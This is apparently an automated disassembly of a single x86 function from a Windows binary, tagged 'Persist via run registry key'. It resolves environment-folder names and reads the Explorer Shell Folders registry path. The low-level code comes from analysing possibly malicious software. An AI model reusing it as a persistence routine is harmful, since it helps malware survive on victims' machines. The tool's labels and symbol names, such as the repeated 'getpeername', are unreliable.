Function at 0x402e64
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402e82
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.Temp
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402ee6
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402ef6
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x402f29
push getpeername
push 0
push str.Temp
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402f3e
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.WinDir
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402fa2
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402fb2
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x402fe5
push getpeername
push 0
push str.WinDir
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402ffa
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.USERPROFILE
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40305e
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40306e
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x4030a1
push getpeername
push 0
push str.USERPROFILE
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4030b6
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.ALLUSERSPROFILE
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40311a
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40312a
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x40315d
push getpeername
push 0
push str.ALLUSERSPROFILE
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x403172
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.ProgramFiles
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4031d6
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4031e6
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x403219
push getpeername
push 0
push str.ProgramFiles
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40322e
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.CommonProgramFiles
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403292
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4032a2
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x4032d5
push getpeername
push 0
push str.CommonProgramFiles
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4032ea
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.SystemDrive
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40334e
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40335e
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x403391
push getpeername
push 0
push str.SystemDrive
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403645
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4033a6
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.System32
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40340a
push ebx
call fcn.0043c54b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40341a
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x403520
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 4], eax
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x43cb40
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
push closesocket
push 0
push 0
push 0
push 0
push 0
push getpeername
push 0
push 0x4ae536
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403497
mov eax, 0x4ae4c4
push eax
push 4
mov ebx, 0x43ce80
call fcn.0043c563
add esp, 0x34
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4034bd
push ebx
call fcn.0043c54b
add esp, 4
fild dword [ebp - 0xc]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fsub qword [0x4ae5cc]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
call fcn.00401c32
push 0x80000301
push 0
push eax
push getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4034f2
mov eax, 0x4ae4c4
push eax
push 2
mov ebx, 0x43cbe0
call fcn.0043c563
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403518
push ebx
call fcn.0043c54b
add esp, 4
mov eax, dword [ebp - 0x20]
jmp 0x403645
push 0x80000301
push 0
push 6
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x403541
mov eax, 0x4ae4c4
push eax
push 2
mov ebx, 0x43cbe0
call fcn.0043c563
add esp, 0x1c
mov dword [ebp - 4], eax
push getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40356a
mov eax, 0x4ae4c4
push eax
push 1
mov ebx, 0x43d020
call fcn.0043c563
add esp, 0x10
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403590
push ebx
call fcn.0043c54b
add esp, 4
push 0x4ae5d4
push dword [ebp - 8]
call fcn.004018ce
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4035be
push ebx
call fcn.0043c54b
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x4035d2
mov eax, 4
jmp 0x4035d7
mov eax, 3
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders_
mov ecx, 2
call fcn.00401bd6
add esp, 8
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40360d
mov eax, 0x4ae4c4
push eax
push 0x80000301
push 0
push dword [ebp - 0x10]
push 3
mov ebx, 0x43e540
call fcn.0043c563
add esp, 0x28
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40363d
push ebx
call fcn.0043c54b
add esp, 4
mov eax, dword [ebp - 0x18]
jmp 0x403645
mov esp, ebp
pop ebp
ret 4